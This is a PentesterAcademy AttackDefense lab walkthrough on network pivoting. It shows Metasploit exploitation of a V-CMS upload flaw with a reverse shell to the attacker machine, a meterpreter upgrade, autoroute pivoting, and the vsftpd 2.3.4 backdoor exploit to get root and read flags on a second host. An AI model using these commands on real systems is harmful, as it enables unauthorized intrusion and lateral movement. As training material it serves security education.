
ATTACK
DEFENSE
by PentesterAcademy

Name	Pivoting II
URL	https://www.attackdefense.com/challengedetails?cid=144
Type	Network Pivoting : Single Pivots

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic.

The challenge descriptions makes it clear that there are two machines on different networks. The objective is to retrieve two flags stored on these machines.

Step 1: Check the IP address of our Kali machine. From the information given in the challenge description, that target A should be located at 192.105.31.3

Command: ip addr

```
root@attackdefense:~# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
7607: eth0@if7608: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:0a:01:01:05 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 10.1.1.5/24 brd 10.1.1.255 scope global eth0
       valid_lft forever preferred_lft forever
7611: eth1@if7612: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:c0:69:1f:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 192.105.31.2/24 brd 192.105.31.255 scope global eth1
       valid_lft forever preferred_lft forever
root@attackdefense:~#
```

Step 2: Launch nmap scan on the target A machine. The machine is running a web server and mysql database.

Command: nmap 192.105.31.3

```
root@attackdefense:~# nmap 192.105.31.3
Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-10 14:36 UTC
Nmap scan report for f9zvj4ip8m0ane8qhcz706quy.temp-network_a-105-31 (192.105.31.3)
Host is up (0.000011s latency).
Not shown: 998 closed ports
PORT     STATE SERVICE
80/tcp   open  http
3306/tcp open  mysql
MAC Address: 02:42:C0:69:1F:03 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds
```

Step 3: On checking with curl, one can observe the name of the web app hosted on target A, is vcms.

Command: curl http://192.105.31.3

```
root@attackdefense:~# curl http://192.105.31.3
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!-- Powered By V-CMS 1.0 - http://www.v-cms.org -->
<!-- Removal of this notice is in violation of the GNU licensing. -->
<!-- Copyright 2011 VyReN, LLC, All Rights Reserved -->
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>V-CMS-Powered by V-CMS</title>
<link media="screen" rel="stylesheet" href="css/colorbox1/colorbox.css">
<script type="text/javascript" src="includes/js/jquery.js"></script>
```

Step 4: Search for vcms modules.

Command: search vcms

```
msf5 > search vcms

Matching Modules
================

   Name                              Disclosure Date  Rank       Check  Description
   ----                              ---------------  ----       -----  -----------
   auxiliary/scanner/http/vcms_login                  normal     Yes    V-CMS Login Utility
   exploit/linux/http/vcms_upload    2011-11-27       excellent  Yes    V-CMS PHP File Upload and Execute
```

Step 5: Set the values and run the exploit.

Command: use exploit/linux/http/vcms_upload

```
msf5 > use exploit/linux/http/vcms_upload
msf5 exploit(linux/http/vcms_upload) > set RHOSTS 192.105.31.3
RHOSTS => 192.105.31.3
msf5 exploit(linux/http/vcms_upload) > set TARGETURI /
TARGETURI => /
msf5 exploit(linux/http/vcms_upload) > set PAYLOAD
set PAYLOAD generic/custom                      set PAYLOAD php/meterpreter/bind_tcp
set PAYLOAD generic/shell_bind_tcp              set PAYLOAD php/meterpreter/bind_tcp_ipv6
set PAYLOAD generic/shell_reverse_tcp           set PAYLOAD php/meterpreter/bind_tcp_ipv6_uuid
set PAYLOAD php/bind_perl                       set PAYLOAD php/meterpreter/bind_tcp_uuid
set PAYLOAD php/bind_perl_ipv6                  set PAYLOAD php/meterpreter/reverse_tcp
set PAYLOAD php/bind_php                        set PAYLOAD php/meterpreter/reverse_tcp_uuid
set PAYLOAD php/bind_php_ipv6                   set PAYLOAD php/meterpreter_reverse_tcp
set PAYLOAD php/download_exec                   set PAYLOAD php/reverse_perl
set PAYLOAD php/exec                            set PAYLOAD php/reverse_php
msf5 exploit(linux/http/vcms_upload) > set PAYLOAD generic/shell_reverse_tcp
PAYLOAD => generic/shell_reverse_tcp
```

Step 6: For payload, use generic/shell_reverse_tcp and not meterpreter. And on successful exploitation, a command shell session should be established.

```
msf5 exploit(linux/http/vcms_upload) > set LHOST 192.105.31.2
LHOST => 192.105.31.2
msf5 exploit(linux/http/vcms_upload) > set LPORT 4444
LPORT => 4444
msf5 exploit(linux/http/vcms_upload) > exploit

[*] Started reverse TCP handler on 192.105.31.2:4444
[*] 192.105.31.3:80 Uploading payload: wRpli.php
[*] 192.105.31.3:80 replies status: 200
[*] 192.105.31.3:80 Executing payload: wRpli.php
[*] Command shell session 1 opened (192.105.31.2:4444 -> 192.105.31.3:55246) at 2018-11-10 14:22:33 +0000
```

Step 7: Using the shell session, retrieve first flag from the target A machine.

```
ifconfig

ip addr

ls -l /root
total 8
-rw-r--r-- 1 root root   33 Oct 12 23:56 flag.txt
-rwxr-xr-x 1 root root 1510 Sep 20 04:30 startup.sh

cat /root/flag.txt
4f96a3e848d233d5af337c440e50fe3d
```

Flag 1: 4f96a3e848d233d5af337c440e50fe3d

Step 8: Spawn a meterpreter shell by upgrading the command shell session.

Command: sessions -u 1

```
msf5 exploit(linux/http/vcms_upload) > sessions -u 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]

[!] SESSION may not be compatible with this module.
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.105.31.2:4433
[*] Sending stage (861480 bytes) to 192.105.31.3
[*] Meterpreter session 2 opened (192.105.31.2:4433 -> 192.105.31.3:54840) at 2018-11-10 14:23:01
[*] Command stager progress: 100.00% (773/773 bytes)
msf5 exploit(linux/http/vcms_upload) >
```

Step 9: The list of all established sessions can be checked using the following command.

Command: sessions

```
msf5 exploit(linux/http/vcms_upload) > sessions

Active sessions
===============

  Id  Name  Type                  Information                              Connection
  --  ----  ----                  -----------                              ----------
  1         shell php/php                                                  192.105.31.2:4444 -> 192.105.31.3:55246 (192.105.31.3)
  2         meterpreter x86/linux  uid=0, gid=0, euid=0, egid=0 @ 192.105.31.3  192.105.31.2:4433 -> 192.105.31.3:54840 (192.105.31.3)
```

Step 10: Check the network details which are needed for creating the pivot.

```
meterpreter > ipconfig

Interface  1
============
Name         : lo
Hardware MAC : 00:00:00:00:00:00
MTU          : 65536
Flags        : UP,LOOPBACK
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0


Interface 7613
============
Name         : eth0
Hardware MAC : 02:42:c0:69:1f:03
MTU          : 1500
Flags        : UP,BROADCAST,MULTICAST
IPv4 Address : 192.105.31.3
IPv4 Netmask : 255.255.255.0


Interface 7615
============
Name         : eth1
Hardware MAC : 02:42:c0:f4:63:02
MTU          : 1500
Flags        : UP,BROADCAST,MULTICAST
IPv4 Address : 192.244.99.2
IPv4 Netmask : 255.255.255.0
```

Step 11: Use autoroute module to set up the pivoting.

Commands:
use post/multi/manage/autoroute
set SESSION 2
set SUBNET 192.244.99.0
exploit

```
msf5 exploit(linux/http/vcms_upload) > use post/multi/manage/autoroute
msf5 post(multi/manage/autoroute) > set SESSION 2
SESSION => 2
msf5 post(multi/manage/autoroute) > set SUBNET 192.244.99.0
SUBNET => 192.244.99.0
msf5 post(multi/manage/autoroute) > exploit

[!] SESSION may not be compatible with this module.
[*] Running module against 192.105.31.3
[*] Searching for subnets to autoroute.
[+] Route added to subnet 192.105.31.0/255.255.255.0 from host's routing table.
[+] Route added to subnet 192.244.99.0/255.255.255.0 from host's routing table.
[*] Post module execution completed
msf5 post(multi/manage/autoroute) >
```

Step 12: Scan the target B from our attacker machine. The target B has FTP and SSH services running.

Commands:
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.244.99.3
exploit

```
msf5 post(multi/manage/autoroute) > use auxiliary/scanner/portscan/tcp
msf5 auxiliary(scanner/portscan/tcp) > set RHOSTS 192.244.99.3
RHOSTS => 192.244.99.3
msf5 auxiliary(scanner/portscan/tcp) > exploit

[+] 192.244.99.3:         - 192.244.99.3:21 - TCP OPEN
[+] 192.244.99.3:         - 192.244.99.3:22 - TCP OPEN
^C[*] 192.244.99.3:         - Caught interrupt from the console...
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/portscan/tcp) >
```

Step 12: VSFTPD is a vulnerable FTP service for which the module is available in metasploit. Try that on target B, the exploitation will succeed and a session will be established.

Command: search vsftpd

```
msf5 auxiliary(scanner/portscan/ftpbounce) > search vsftpd

Matching Modules
================

   Name                                  Disclosure Date  Rank       Check  Description
   ----                                  ---------------  ----       -----  -----------
   exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution
```

Step 13: Sometimes, the exploit fails first time. In such cases, run the exploit again.

Commands:
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.244.99.3
exploit

```
msf5 auxiliary(scanner/portscan/ftpbounce) > use exploit/unix/ftp/vsftpd_234_backdoor
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.244.99.3
RHOSTS => 192.244.99.3
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.244.99.3:21 - Banner: 220 Welcome to AttackDefense target FTP service.
[*] 192.244.99.3:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.
msf5 exploit(unix/ftp/vsftpd_234_backdoor) >
```

```
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.244.99.3:21 - The port used by the backdoor bind listener is already open
[+] 192.244.99.3:21 - UID: uid=0(root) gid=0(root) groups=0(root)
[*] Found shell.
[*] Command shell session 3 opened (192.105.31.2-192.105.31.3:0 -> 192.244.99.3:6200) at 2018-11-10 14:35:25 +0000
```

Step 14: Using this session, one can retrieve the flag from machine B.

Commands:
ls /root
cat /root/flag.txt

```
whoami
root

ls /root
flag.txt
start.sh

cat /root/flag.txt
58c7c29a8ab5e7c4c06256b954947f9a
```

Flag 2: 58c7c29a8ab5e7c4c06256b954947f9a